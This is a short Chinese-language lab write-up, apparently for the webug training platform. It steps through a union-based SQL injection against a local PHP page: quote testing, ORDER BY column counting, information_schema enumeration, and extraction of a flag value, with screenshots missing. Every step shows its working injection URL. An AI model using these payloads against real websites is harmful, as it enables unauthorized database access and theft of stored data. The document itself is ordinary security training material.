webug 顯錯注入 WP

webug 顯錯注入 WP

0x00

原網址:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=1

sorry, img lost

0x01

打開,觀察url結構,發現id=1,先加個單引號'測試一下
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=1'

sorry, img lost

0x02

找到注入點了,接下來看一下有多少列
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=1' order by 3 %23
發現order by 3的時候報錯了,說明一共有兩列

sorry, img lost

0x03

接下來看一下顯錯點在哪里
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=1' union select 1,2 %23

sorry, img lost

0x04

確認數據庫版本
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' union select 1,version() %23

sorry, img lost

數據庫版本大于15的話,mysql里面就有information_schema這個數據庫,我們可以通過這個數據庫獲取到mysql里各個數據庫及其表和字段的信息。

0x05

查找數據庫
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,GROUP_CONCAT(schema_name) FROM information_schema.SCHEMATA %23

sorry, img lost

0x06

確定當前使用的數據庫
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,DATABASE() %23

sorry, img lost

0x07

查找當前使用的數據庫下面的所有表名
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='webug' %23

sorry, img lost

0x08

看到flag表,確定flag表的字段
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='flag' AND table_schema='webug' %23

sorry, img lost

0x09

確定flag表的內容
查看id
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,GROUP_CONCAT(id) FROM flag %23

sorry, img lost

0x10

查看flag字段內容
測試:http://127.0.0.1:1882/control/sqlinject/manifest_error.php?id=3' UNION SELECT 1,flag FROM flag where flag.id=1 %23

sorry, img lost


0x1a

dfafdasfafdsadfa就是我們尋找的flag,提交,成功。

sorry, img lost

?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容